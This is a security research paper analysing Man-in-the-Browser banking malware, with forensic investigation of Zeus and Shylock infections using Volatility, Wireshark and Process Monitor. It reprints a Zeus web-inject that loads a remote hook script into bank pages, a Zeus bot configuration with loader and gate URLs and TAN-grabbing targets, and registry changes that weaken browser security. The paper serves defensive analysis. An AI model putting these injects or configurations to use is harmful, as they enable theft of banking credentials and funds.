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Analyzing Man-in-the-Browser (MITB) Attacks

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Abstract

The Matrix is real and living inside your browser. How do you ask? In the form of malware that is targeting your financial institutions. Though, the machines creating this malware don't have to target the institution, rather your Internet browser. By changing what you see in the browser, the attackers now have the ability to steal any information that you enter and display whatever they choose. This has become known as the Man-in-the-Browser (MITB) attack. No one is safe from a MITB once it is installed, which easily bypasses the security mechanisms we all rely on. By infecting the browser and changing what is displayed we now have to wonder what world we are living in? Take the Red Pill and learn how this attack occurs to better allow you to hide from malware that target us every day.

1. Introduction

Malware today has become the method of choice to attack financial institutions. With the ease of use and ability for criminals to cover their tracks, this has been the way to rob banks without the need for a getaway car. Attackers are finding new and complex methods in which to carry out attacks. One of these vectors is a Man-in-the-Browser (MITB) attack.

Man-in-the-Browser (MITB) attacks have been around for some time and are utilized through trojan malware that infects an Internet browser. This attack is dangerous because of its ability to hide from anti-virus software and steal information a user types into the browser. MITB is able to see information within the browser. Since no encryption occurs within the browser, security controls used by financial institutions are ineffective. Two-factor authentication may also be ineffective if the malware has access to user account settings. Anti-fraud technologies that banks use to detect malicious activity are ineffective because the transactions occur from the user's workstation. Many banks have added additional layers of security for wire transfers using notifications such as SMS texts. Though, if an attacker is able to steal users' credentials then an attacker may have the ability to change notification settings in the user's bank account.

Due to how MITB attacks work many network level devices such as web application firewalls, IDS and IPS systems have difficulty detecting this attack since it occurs locally on the client side. Decrypting SSL banking sessions may be a solution, but could create a backlash from users and management who require privacy.

What makes Man-in-the-Browser attacks popular is the ease to which it can be deployed to many systems at once via phishing links or through compromising legitimate sites. By clicking a link, trojan malware can be installed with add-ons into a browser that has not been properly secured. More attackers are moving away from the traditional Man-in-the-Middle (MITM) attack to the Man-in-the-Browser (MITB) attack for these reasons.

The difference between Man-in-the-Browser (MITB) and Man-in-the-Middle (MITM) attacks is in their operation. Man-in-the-Middle (MITM) attacks use a proxy between two systems that perform a transaction. Using a proxy an attacker can fool a user to enter their credentials into the attacker's site, in turn giving away their sensitive information. Figure 1

illustrates a Man-in-the-Middle (MITM) vs. Man-in-the-Browser (MITB) attack. One important difference is that MITM operates at the network layer, while MITB operates at the application layer, i.e. the browser.




Figure 1

The reason Man-in-the-Middle (MITM) attacks have become less popular is due to the ability to mitigate the attack with the use of Session ID's. If a bank is able to determine the number of session ID's involved in a transaction, a bank can determine if there was a malicious user involved in the transactions between the systems. This would then give the bank a way to determine if a fraudulent attempt occurred and cancel the transaction. There are methods in which banks can also track user's transactions by utilizing unique ID's. By giving the customer's device a unique ID, the bank can then use algorithms to analyze and link the multiple user sessions from where they typically perform their banking (Eisen, 2012). Man-in-the-Browser attacks go beyond intercepting or piggybacking traffic via a proxy page to fully taking over a user's websites and controlling the browser in an effort to trick the user into thinking that everything is normal. By slightly altering web views and account balances, attackers can steal money without a user's knowledge. Once the user logs in they can also redirect any sensitive traffic to an attacker's system, while keeping the original SSL/TLS protections intact (Trusteer, 2013).

2. Man-in-the-Browser

Man-in-the-Browser (MITB) attacks utilize various functions and features within a browser. MITB attacks occur based on information gathered and what can be stolen similar to keylogging, form-grabbing, snapping screenshots, spamming, HTML injection and other various exploit functions. This gives the attackers information on when to use MITB as part of a malware attack. Browser extensions are a browser feature that can be used to exploit the operating system given the privilege given to extensions. Browser extensions are typically used to enhance users' experience within the browser and while surfing the Internet. Browser extensions can include plugins, Browser Helper Objects (BHO), JavaScript and add-on features. Many types of malware have been known to use these features as part of a MITB attack; these include Zeus, URLZone, Shylock, Spyeeye, Carberp and Sunspot to name a few. Other functions that MITB utilize include AJAX, Browser API Hooking, and DOM Object models.

The functions of MITB can be controlled via a configuration file or a web injection file, which are updated at certain time intervals as part of a botnet. These configuration files may be obfuscated with different types of encoding. The configuration file and web injection file allow an attacker to control sessions and inject custom code into HTTP traffic. They also allow the trojan to run when certain websites are visited such as banking institutions. These connections typically occur over SSL connections. Since browsers have high level privileges on a system, if an attacker is able to execute processes through the browser then those processes can be executed with high level privileges (Alcorn, Frichot, Orru, 2014).

2.1. Browser Helper Objects (BHOs)

Browser Helper Objects (BHO) are DLL (dynamic linked libraries) modules which can access DOM (Document Object Model) within a browser. Browser Helper Objects were created by Microsoft and run in the address space of the browser and embed the main window of the browser (Blunden, 2009). They are installed as add-ons to the browser for added functionality. The issue with Browser Helper Objects is their ability to run with SYSTEM level privileges on the operating system. Browser Helper Objects have long been a popular method for hackers to abuse due to their ability to hide from anti-virus software. MITB attacks can use browser helper objects to change a site, adding fields or removing fields as an example. Browser helper objects

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can even add registry entries to the system, which will load at startup when a browser is opened (Utakrit, 2009).

Add-ons have been known to use MITB attacks, such as JavaScript and ActiveX controls to control the browser. One add-on that is popular with Firefox is Grease Monkey. Grease Monkey (Monkey-in-the-Browser) for Firefox and Tamper Monkey for Chrome apply the same methodology to a Man-in-the-Browser attack in that their function is to change what is viewed when visiting websites, such as eliminating ads from the screen or changing the appearance of a website. These features are to improve the users experience rather than steal information, but the methodology is the same. This is done with user scripts, which are JavaScript applets that can be shared within the community. User scripts used within add-ons are much more powerful than traditional JavaScript programs, because they can manipulate and retrieve private data in a user's browser without Same-Origin Policy (SOP) restrictions (Acker, Nikiforaki, Desmet, Piessens, Joosen, 2011). Malware such as Zeus that utilize MITB features use configuration files to update scripts for the browser to use.

2.2. DOM Module Interface

The main method for MITB to work is through the DOM Module Interface. The steps that occur during this process are as follows. Once the trojan is installed it will install an extension into the browser configuration. This will cause the extension to reload when the browser starts back up. When the extension is loaded it registers a handler for every page load. So whenever a page is loaded, the URL of the page is searched by the extension against a list of known sites. Once the handler object detects a page it is loaded from the list and it registers an event button handler. Then once a page is submitted, the extension extracts all data from the form fields through the DOM interface in the browser, and remembers the values. The extension then tells the browser to continue to submit the form to the server. The server receives the modified values in the form as a normal request, which the server cannot differentiate between the original value and the modified values. The server performs the transaction and generates a receipt. The browser also receives a receipt of the transaction. The extension then detects the receipt URL, scans the HTML for the receipt fields and replaces the modified data in the receipt with the original data that was remembered in the HTML. The user then thinks that the original transaction was received by the server intact and authorized correctly (OWASP, 2009).

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2.3. JavaScript & AJAX

One of the goals of an attacker is to maintain persistence. Using the previously described methods, this can be very difficult due to how features within a browser are performed. AJAX or Asynchronous JavaScript and XML solve these hurdles as it works in the presence of X-Frame-Option headers or other Frame-busting logic. JavaScript has the ability to “hook” the browser and perform actions entirely invisible to an end user. Below is an example web injection script used by the famous Zeus malware.

Example script:

```
set_url https://www.yourbank.com/*
data_before
<div class='footer'>
data_end
data_inject
<script src='https://somescript.com/hook.js'></script>
data_end
data_after
</body>
data_end
```

These scripts are implemented within the configuration files that are used in botnets. Zeus was famous for implementing configuration files that would call the Command and Control servers to inject new fields into banking sites to steal additional information beyond just capturing the user’s password.

One feature of JavaScript is the ability to override prototypes of built-in DOM methods. Overriding built in DOM methods in the browser is the same as extending DOM objects with your own method. Such as creating various form methods or additional fields for a user to fill in. This allows an attacker to see any sensitive information entered, such as PIN numbers, Mothers Maiden Name, DOB, etc.

2.4. API Hooking

Man-in-the-Browser attacks use API Hooking to infect the browser. Once MITB is activated from the malware, it will attempt to hook the Internet Connect function in Wininet.dll. This allows the attacker to modify what a user sees in the browser. This is similar to how HTML rewriting works. Using methods of HTML rewriting the malware can change the sites a user browses and make it appear in a certain fashion even presenting information that is not truthful. Figure 2 demonstrates the method of Browser API Hooking used in MITB attacks.




Figure 2

Wininet, which is a superset to WinHTTP, is an API within Internet Explorer that enables applications to interact with FTP and HTTP protocols to access internet resources. Many wininet functions are targeted by MITB including the `httpsendrequest()` and `navigateto()` functions. Some other popular functions that are injected include `httpopenrequest()`, `httpsendrequest()`, and the `internetreadfile` function.

Changes to settings within the browser which allow this attack to be successful will leave artifacts behind in the Registry. To avoid Browser security settings that may prevent a script from properly displaying via an I-Frame or on a trusted site, malware may attempt to change security settings via the registry. Zone elevation within the browser is one of these methods. By lowering browser security settings more add-on controls and scripts will be able to run. A few dll's that are a popular target of this type of malware include `crypt32.dll` and `wininet.dll`. `Wininet.dll` provides many functions for communication and is a target for malware since it allows the malware to access to privacy and security settings such as Zone preference settings

and Cookie settings. Crypt32.dll implements many messaging functions in the CryptoAPI, such as the CryptSignMessage which also has the ability to digitally sign messages.

2.5. Registry Entries

For MITB maintain high level privileges, browser security settings are changed within the registry during exploitation. These registry changes can be monitored with host based intrusion detection systems, or analyzed after infection. Registry entries used in MITB attacks including the path for browser helper objects include:

- *HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects.*
- *HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main*
"NoProtectedModeBanner" = 1- This turns on this function, which would disable Protected Mode in the Browser
- *HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed – This is used to create randomly seeds for numbers in cryptography, quite possibly to hide malicious files*
- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1406"(Miscellaneous: Access data sources across domains)*
= 3- Sets the Zone Level to Low
- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1609"(Miscellaneous: Display mixed content)*
= 3- Sets the Zone Level to Low
- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2500"(Protected Mode)= 3- Sets the Zone level to low*
- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableCachingOfSSLPages" = "0" - Turns this function off*
- *HKEY_USERS\S-I-D\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\Random Number*

3. Malware examples of MITB usage

Research into malware that utilize Man-in-the-Browser (MITB) as part of its exploitation was conducted to find the behavior of malware beyond the browser functions. Zeus was analyzed as well as a recent variant of the Shylock Trojan, both known to use MITB. Both

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exhibit similar behavior since Shylock uses some of the Zeus source code features. Both use web injection files to inject into web fields and pages to steal banking credentials and perform wire transfers.

Since many malware have anti-sandboxing techniques a physical test machine was used. Various tools were used for the analysis, including win32dd and Dump-it as tools to extract a memory image of the system after infection. Volatility was used to examine the memory after it was dumped. Wireshark was used for packet captures and Regshot and Process Monitor were used to take a shot of the system before and after the infection. At one point a method was used to extract samples from remote systems that were live but unreachable via physical methods. To capture the memory remotely Kevin Neely found a method using psexec securely and win32dd/win64dd. The following is a sample of the method used. The account used to connect had appropriate permissions to execute win32dd/win64dd remotely (Neely, 2011).

- run cmd.exe as administrator
- net use \\hostname\ipc\$ - *make sure command completes successfully*
- copy c:\pathtowin32dd.* \\hostname\c\$ - *copies win32dd.exe and the win32dd.sys driver*
- c:\pathpsexec.exe \\hostname -e -w c:\c:\win32dd.exe /m 1 /r /a /f hostname-mem.raw - *runs win32dd remotely, command will continue to run and will not give a status of completion. To verify it is complete run the following command and wait for the file size to stop growing. Please be aware of implications using psexec and credential passing that occur in cleartext.*
- c:\dir \\hostname\c\$

3.1. Zeus

Zeus is a famous example of malware that utilize Man-in-the-Browser attacks. By use of a web injection file the malware is able to inject fields into designated websites that are entered into a file. So if a user visits www.bankofamerica.com the malware would use the web injection file to update the site and load the additional requested fields that are not legitimate. The following is an example web injection file used by Zeus.

```
;Build time: 14:15:23 10.04.2009 GMT;Version: 1.2.4.2
entry "StaticConfig" ;
botnet "btn1" - Name of the botnet
timer_config 60 1 - Interval time for configuration file to be updated by bot in minutes
timer_logs 1 1 - Amount of time when bot will send data to the server
```

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```

timer_stats 20 1 – Amount of time when bot wills end statistics to the server
url_config “http://localhost/config.bin” – URL to the configuration file
url_compip “http://localhost/ip.php” 1024
encryption_key “secret key” – Encrypts network traffic with RC4 and the dynamic
configuration file
;blacklist_languages 1049
end
entry “DynamicConfig”
url_loader “http://localhost/bot.exe”
url_server “http://localhost/gate.php”
file_webinjects “webinjects.txt”
entry “AdvancedConfigs”
;”http://advdomain/cfg1.bin”
end
entry “WebFilters”
“!* .microsoft.com/*”
“!http://*myspace.com*”
“https://www.gruposantander.es/*”
“!http://*odnoklassniki.ru/*” “!http://vkontakte.ru/*”
“@*/login.osmp.ru/*”
“@*/atl.osmp.ru/*” end
entry “WebDataFilters” ;
”http://mail.rambler.ru/*” “passw;login” end
entry “WebFakes” ;
”http://www.google.com” “http://www.yahoo.com” “GP” “” “” end
entry “TANGrabber”
“https://banking.*.de/cgi/ueberweisung.cgi/*” “S3R1C6G” “* &tid=*” “* &betrag=*”
“https://internetbanking.gad.de/banking/*” “S3C6” “*” “*” “KktNrTanEnz”
“https://www.citibank.de/*jba/mp#/SubmitRecap.do” “S3C6R2” “SYNC_TOKEN=*” “*” end
entry “DnsMap” ;
127.0.0.1 microsoft.com end
end
(Failliere, Chien 2009)

```

The malware also has the ability to clean itself from analysis including cookies and browser history to further hide itself from detection. This is to prevent support individuals being able to replicate the issue and stop it. This is one of the advanced features that show the capability and threat these malware can cause.

3.2. Shylock

Zeus has been a well analyzed over its lifetime and documented thoroughly once the source code was released many years ago. The Shylock Trojan that surfaced recently has caused harm to many organizations and individuals and has similar characteristics to Zeus yet with some

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differences. Shylock was named after the famous Shakespeare play Merchant of Venice, because a few lines of the Shakespeare play were found in its code. Shylock based some of its source code from the Zeus malware, but added its own modules. Spyeeye is another similar piece of malware that was based on the Zeus source code, but added its own modules, including one that would even delete the Zeus malware from a system.

Shylock has been known to run and create online chats when connecting to bank sites via advanced JavaScript. Many of the dropper files are named after chat programs such as Skype, Gooletalk, and Advantage. These files get dropped in the user's folder under Application Data folder for Windows XP or the Roaming folder in AppData for Windows 7. Other modules that are included with the Trojan include VNC connectivity, spreading via network shares, separate drives or Skype sessions, as well as the ability to act as a proxy (Lennon, 2013).

The Shylock Trojan similarly to Zeus uses encoded web injection files in order to change websites. Several API's are hooked including crypt32.dll and wininet.dll in the browser. It also uses fake digital certificates and SSL connections when communicating to the Command and Control servers.

During the analysis, once the system was setup, the malware was downloaded from sites that had testing copies of the Shylock dropper files used by Shylock and Zeus. The files were run on a Windows XP machine with analysis tools capturing the events and artifacts created. Memory was dumped using the Dump-it utility. Once the memory dump was retrieved Volatility, Wireshark and Process Monitor were used for analysis.

Process Monitor is a tool that can be overwhelming to use with the amount of data received. In analyzing Shylock several filters were used. These included file attributes, files written, files deleted, noise reduction, registry values set, registry values deleted, registry keys deleted, and registry keys created. The Process Monitor filters that were used were created by Raymond Hodge and were downloaded from Lenny Zeltser's blog (Hodge, Zeltser, 2011). These filters created a starting point in which to begin using other tools such as Volatility and Wireshark.

The Process monitor filters found several possible artifacts including the use of normaliz.dll, which is associated with the Internet Explorer browser. Many registry settings were changed and added as well. Wininet.dll was also used during initial infection.

Shylock has many modules beyond MITB that are included, such as propagating via file shares, hiding folders using shortcut links that point to more additional malicious files. In the analysis one of the files that was created during the process was “nKMuLt.exe”. This file had an association with the normaliz.dll, which Process Monitor was able to capture in Figure 3.




Figure 3

Process Monitor found registry keys created during the time the malware was run. A couple keys in particular were related to Internet Settings. This is represented in Figures 3 and 4 below. In Figure 5, wininet.dll appears to be targeted by the process “apwQivQu.exe” which was created during the infection process.




Figure 4




Figure 5





Figure 6

During analysis many registry keys were noted while using Process Monitor. These registry keys were then used for further analysis with volatility. Using volatility it was possible to determine the value of these registry keys.

The hivelist command in volatility was able to pull the registry hives of the users in the memory dump. Figure 7 shows the results of running this command. User “cjones” was the user profile of interest during testing.

```
$vol.py -f profile=WinXPSP3x86 shylock.raw hivelist
```




```
sansforensics@SIFT-Workstation:~/Desktop$ vol.py -f Shylock.raw profile=WinXPSP3x86 hivelist
Volatile Systems Volatility Framework 2.2
Virtual   Physical   Name
-----
0xe10c9008 0x1dda9008 \Device\HarddiskVolume1\Documents and Settings\cjones\Local Settings\
Application Data\Microsoft\Windows\UsrClass.dat
0xe1088a00 0x1c355a00 \Device\HarddiskVolume1\Documents and Settings\cjones\NTUSER.DAT
0xe1aa6878 0x14f5f878 \Device\HarddiskVolume1\Documents and Settings\Local Set
tings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b31b60 0x15ac2b60 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DA
T
0xe1a685e8 0x144165e8 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local S
ettings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1a97b60 0x14f54b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.
DAT
0xe150e758 0x12689758 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe154ab60 0x1261bb60 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe179b330 0x0cff5330 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1567008 0x1263b008 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe13ccb60 0x0a67cb60 [no name]
0xe1036b60 0x0a2e3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
```

Figure 7

```
$vol.py -f shylock.raw profile=WINXPSP3x86 printkey -o 0xe1088a00 -K
```

```
'Software\Microsoft\Windows\CurrentVersion\Run'
```

This command revealed that an executable RmActivate_isv.exe was set to run at startup, which would be one artifact left behind from the malware. This is shown in Figure 8 below.



```
sansforensics@SIFT-Workstation:~/Desktop$ vol.py -f Shylock.raw profile=WinXPSP3x86 printkey
-o 0xe1088a00 -K 'Software\Microsoft\Windows\CurrentVersion\Run'
Volatile Systems Volatility Framework 2.2
Legend: (S) = Stable (V) = Volatile
-----
Registry: User Specified
Key name: Run (S)
Last updated: 2014-12-04 21:32:37
Subkeys:
Values:
REG_SZ          CTFMON.EXE          : (S) C:\WINDOWS\system32\ctfmon.exe
REG_SZ          eenpJ3WkHP8xHwCGT0QVUo+A : (S) "C:\Documents and Settings\cjones\Application
Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\RmActivate_isv.exe"
```

Figure 8

The Wireshark captures found connections to soks.cc, pqe.su and doks.cc domains (Figure 9 & 10). These sites certainly did not sound legitimate so recording their IP addresses

was done for further analysis. In Figure 11, IP 208.73.211.70 appeared abnormal in the connections it attempted to make. This IP was not resolvable via a “whois” lookup and was categorized as a parked domain, potentially a former malicious IP.

204	23:40:40.659783000	192.168.1.99	192.168.1.255	NBNS	92 Name query NB	<00>
205	23:40:41.171734000	192.168.1.99	192.168.1.255	NBNS	92 Name query NB	<00>
206	23:40:41.579949000	SamsungE_b2:22:57	Broadcast	ARP	60 Who has 192.168.1.1? Tell 192.168.1.100	
207	23:40:41.683684000	192.168.1.99	192.168.1.255	NBNS	92 Name query NB	<00>
208	23:40:42.195759000	192.168.1.99	192.168.1.255	NBNS	92 Name query NB	<00>
209	23:40:42.316000000	192.168.1.143	8.8.8.8	DNS	66 Standard query 0x9792 A pqs...	
210	23:40:42.414690000	8.8.8.8	192.168.1.143	DNS	127 Standard query response 0x9792 No such name	
211	23:40:42.417605000	192.168.1.143	8.8.8.8	DNS	80 Standard query 0x53a6 A pqs...	
212	23:40:42.593984000	8.8.8.8	192.168.1.143	DNS	96 Standard query response 0x53a6 A 208.73.211.70	

Figure 9

No.	Time	Source	Destination	Protocol	Length	Info
268	23:41:02.572971000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
269	23:41:02.673980000	SamsungE_b2:22:57	Broadcast	ARP	60	Who has 192.168.1.1? Tell 192.168.1.100
270	23:41:03.084980000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
271	23:41:03.506937000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
272	23:41:03.801731000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
273	23:41:03.813588000	192.168.1.143	8.8.8.8	DNS	67	Standard query 0x9cc8 A doks.cc
274	23:41:03.864048000	8.8.8.8	192.168.1.143	DNS	133	Standard query response 0x9cc8 No such name
275	23:41:03.867193000	192.168.1.143	8.8.8.8	DNS	81	Standard query 0x0324 A doks.cc.banktrust.com
276	23:41:04.108906000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
277	23:41:04.312596000	8.8.8.8	192.168.1.143	DNS	97	Standard query response 0x0324 A 208.73.211.70
278	23:41:04.314405000	192.168.1.143	208.73.211.70	TCP	62	ql-serveradmin > https [SYN] Seq=0 Win=16384 Len=0 MSS=1460
279	23:41:04.620832000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>

Figure 10

329	23:41:24.076581000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
330	23:41:24.588543000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
331	23:41:24.793319000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
332	23:41:25.100532000	192.168.1.143	8.8.8.8	DNS	67	Standard query 0x3b44 A soks.cc
333	23:41:25.346670000	192.168.1.143	8.8.8.8	DNS	67	Standard query 0x3b44 A soks.cc
334	23:41:25.405222000	8.8.8.8	192.168.1.143	DNS	122	Standard query response 0x3b44 No such name
335	23:41:25.408478000	192.168.1.143	8.8.8.8	DNS	81	Standard query 0xff7b A soks.cc.banktrust.com
336	23:41:25.480732000	0.0.0.0	192.168.1.143	DNS	97	Standard query response 0xff7b A 208.73.211.70
337	23:41:25.542676000	192.168.1.143	208.73.211.70	TCP	62	sweetware-apps > https [SYN] Seq=0 Win=16384 Len=0 MSS=1460
338	23:41:25.612520000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>
339	23:41:26.126161000	192.168.1.99	192.168.1.255	NBNS	92	Name query NB <00>

Figure 11

In Figure 12 volatility was used to show the process that was using this connection.

`$vol.py -f shylock.raw profile=WINXPSP3x86 connscan`

Volatility revealed a process ID of 1468, which was the explorer.exe process, which would be a suspect process in this case. Figure 13 shows the results.

`$vol.py -f shylock.raw profile=WINXPSP3x86 psscan`

0x06d06a10	92.0.82.0:18176	32.106.176.134:17664	5439561
0x06d0b2f8	192.168.1.143:1810	208.73.211.70:443	1468
0x06d11300	0.160.103.1:0	0.16.0.0:0	2259638232
0x06d227f8	0.16.58.0:0	0.16.0.0:0	2307847880
0x06d2be68	0.144.157.1:0	0.16.0.0:0	2307848232
0x06d77720	192.168.1.143:1628	184.29.44.74:80	3312
0x06d7ac20	192.168.1.143:1807	208.73.211.70:443	1468
0x06d7b7a0	192.168.1.143:1214	23.54.240.60:443	1712
0x06d8a818	0.0.218.0:0	0.16.0.0:0	2307848040
0x06da5bb8	192.168.1.143:1808	208.73.211.70:443	1468
0x06dff700	5.0.5.10:26221	74.125.230.186:18003	1
0x06e21c78	192.168.1.143:1809	208.73.211.70:443	1468
0x06e21820	92.0.82.0:18170	48.248.194.134:17004	5439501
0x06e74760	40.1.0.0:0	10.2.0.0:1	1
0x06ecca20	192.168.1.143:1697	198.54.12.97:80	3312
0x06efcbb8	92.0.82.0:18176	200.203.207.134:17664	5439561

Figure 12

0x06d4d020	DumpIt.exe	2744	1468	0x0a240500	2014-12-04	21:33:12	
0x06e162f0	dumpcap.exe	1436	508	0x0a2403e0	2014-12-04	21:13:49	2014-12-04 21:13:49
0x06e296b0	dumpcap.exe	1568	508	0x0a240400	2014-12-04	21:13:49	2014-12-04 21:13:49
0x06e3b020	Procmon.exe	2992	1468	0x0a240420	2014-12-04	21:13:56	
0x06e51020	dumpcap.exe	1944	508	0x0a2403e0	2014-12-04	21:13:49	2014-12-04 21:13:49
0x06e6a450	jusched.exe	1712	1468	0x0a240360	2014-12-04	21:12:29	
0x06e7e508	dumpcap.exe	3948	508	0x0a240480	2014-12-04	21:28:59	2014-12-04 21:33:26
0x06ec9da0	uphclean.exe	464	956	0x0a240260	2014-12-04	21:10:53	
0x06ed4500	jqs.exe	356	956	0x0a240240	2014-12-04	21:10:52	
0x06ed6728	ctfmon.exe	1488	1468	0x0a2402e0	2014-12-04	21:12:29	
0x06eed020	alg.exe	724	956	0x0a240200	2014-12-04	21:10:54	
0x06ef2da0	svchost.exe	216	956	0x0a2401c0	2014-12-04	21:10:52	
0x06ef4020	spoolsv.exe	1880	956	0x0a2401a0	2014-12-04	21:10:47	
0x06f003a0	explorer.exe	1468	1420	0x0a2402a0	2014-12-04	21:12:28	
0x06f1c050	svchost.exe	1372	956	0x0a240160	2014-12-04	21:10:46	
0x06f75020	winlogon.exe	912	816	0x0a240080	2014-12-04	21:10:44	
0x06fa76a0	FrzStatek.exe	1240	1164	0x0a240380	2014-12-04	21:12:39	

Figure 13

Once explorer.exe was identified as the process in question the mutantscan plugin for volatility was used to check for mutexes within the process. A few mutant entries were found within wininet, which were identified in Process Monitor as well. The results are shown in Figure 14 below.

```
$vol.py -f shylock.raw profile=WINXPSP3x86 handles -p 1468 -t Mutant --silent
```

0x86c823a8	1468	0x50c	0x1f0001	Mutant	WinSCPDragExtLogMutex
0x8754a490	1468	0x524	0x1f0001	Mutant	WinSCPDragExtMutex
0x87591120	1468	0x588	0x1f0001	Mutant	MSCTF.Shared.MUTEX.ANH
0x86d06a48	1468	0x680	0x100000	Mutant	WininetStartupMutex
0x86e6be38	1468	0x69c	0x1f0001	Mutant	WininetConnectionMutex
0x86cf43f0	1468	0x6a0	0x100000	Mutant	WininetProxyRegistryMutex
0x86d09270	1468	0x844	0x1f0001	Mutant	MSCTF.Shared.MUTEX.MNF
0x86d13b90	1468	0x86c	0x100000	Mutant	RasPbFile
0x86b91528	1468	0x9d0	0x1f0001	Mutant	MSCTF.Shared.MUTEX.EMI
0x86cd6af8	1468	0xa78	0x1f0001	Mutant	MSCTF.Shared.MUTEX.MJP
0x86b347e8	1468	0xa98	0x1f0001	Mutant	MSCTF.Shared.MUTEX.EPM
0x86ae0e40	1468	0xaa0	0x1f0001	Mutant	MSCTF.Shared.MUTEX.AKC
0x86b7d710	1468	0xb04	0x1f0001	Mutant	MSCTF.Shared.MUTEX.MOO
0x86c02c90	1468	0xb4c	0x1f0001	Mutant	MSCTF.Shared.MUTEX.IMH
0x86c15600	1468	0xb70	0x1f0001	Mutant	MSCTF.Shared.MUTEX.EHD
0x875cd928	1468	0xb94	0x1f0001	Mutant	4<'horjx_Ls9f\$+0-')_ZS87000005BC
0x86c17038	1468	0xbec	0x120001	Mutant	DbWinMutex
0x86d69270	1468	0xc58	0x1f0001	Mutant	MSCTF.Shared.MUTEX.MNF
0x86c51bf8	1468	0xc60	0x1f0001	Mutant	MSCTF.Shared.MUTEX.ELL
0x86ae5f38	1468	0xcac	0x1f0001	Mutant	MSCTF.Shared.MUTEX.ECN
0x86ae5f38	1468	0xcb4	0x1f0001	Mutant	MSCTF.Shared.MUTEX.ECN
0x86d5a218	1468	0xd08	0x1f0001	Mutant	MSCTF.Shared.MUTEX.IIC
0x875fd370	1468	0xd14	0x1f0001	Mutant	MSCTF.Shared.MUTEX.EBE

Figure 14

Figure 15 shows process injections in explorer.exe. The malfind plugin for volatility is able to find a process injection since MZ is found in the header, which is a key that this was a process.

```
$vol.py -f shylock.raw profile=WINXPSP3x86 malfind -p 1468 | less
```

```

0xd6003f 6a          DB 0x6a
Process: explorer.exe Pid: 1468 Address: 0x1160000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 23, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x01160000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ.....
0x01160010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  .....@.....
0x01160020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
0x01160030 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00  .....

0x1160000 4d          DEC EBX
0x1160001 5a          POP EDX
0x1160002 90          NOP
0x1160003 0003       ADD [EBX], AL
0x1160005 0000       ADD [EAX], AL
0x1160007 000400    ADD [EAX+EAX], AL
0x116000a 0000       ADD [EAX], AL
0x116000c ff          DB 0xff
0x116000d ff00     INC DWORD [EAX]
0x116000f 00b800000000 ADD [EAX+0x0], BH
0x1160015 0000       ADD [EAX], AL
0x1160017 004000    ADD [EAX+0x0], AL
    
```

Figure 15

The yarascan plugin was used with volatility to find malicious IPs inside the explorer.exe process. Some links were found that attempted to reach a PHP file with the IP listed. Many Zeus variants have been known to run PHP scripts for updating their botnets. The results are shown in Figure 16.

```

0x044b4168 64 65 78 2e 70 68 70 3f 72 3d 33 32 31 34 36 36 dex.php?r=321466
0x044b4178 35 38 37 00 39 34 00 00 33 00 07 00 9b 01 08 00 587.94..3.....
0x044b4188 70 4e 4c 04 58 50 4c 04 80 50 4c 04 00 00 00 00 pNL.XPL..PL....
Rule: r1
Owner: Process explorer.exe Pid 1468
0x044c3248 32 30 38 2e 37 33 2e 32 31 31 2e 37 30 2f 77 77 208.73.211.70/ww
0x044c3258 77 35 2f 69 6e 64 65 78 2e 70 68 70 3f 72 3d 34 w5/index.php?r=4
0x044c3268 31 39 35 32 33 30 37 32 00 53 00 53 45 52 00 00 19523072.S.SER..
0x044c3278 1d 00 08 00 e4 01 0f 00 68 33 4c 04 6d 31 6a 37 .....h3L.m1j7
Rule: r1
Owner: Process explorer.exe Pid 1468
0x044c4ea0 32 30 38 2e 37 33 2e 32 31 31 2e 37 30 2f 69 6e 208.73.211.70/in
0x044c4eb0 64 65 78 2e 70 68 70 00 05 00 05 00 7c 01 08 00 dex.php....|...
0x044c4ec0 e8 4e 4c 04 73 3a 2f 2f 32 30 38 2e 37 33 2e 32 .NL.s://208.73.2
0x044c4ed0 31 31 2e 37 30 2f 69 6e 64 65 78 2e 70 68 70 00 11.70/index.php.
Rule: r1
Owner: Process explorer.exe Pid 1468
0x044c4ec8 32 30 38 2e 37 33 2e 32 31 31 2e 37 30 2f 69 6e 208.73.211.70/in
0x044c4ed8 64 65 78 2e 70 68 70 00 05 00 05 00 77 01 0c 00 dex.php....w...
0x044c4ee8 18 41 4b 04 50 30 31 2d 32 30 31 34 31 32 30 34 .AK.P01-20141204
0x044c4ef8 2d 32 31 33 33 31 33 2e 52 41 57 00 50 48 50 00 -213313.RAW.PHP.
Rule: r1
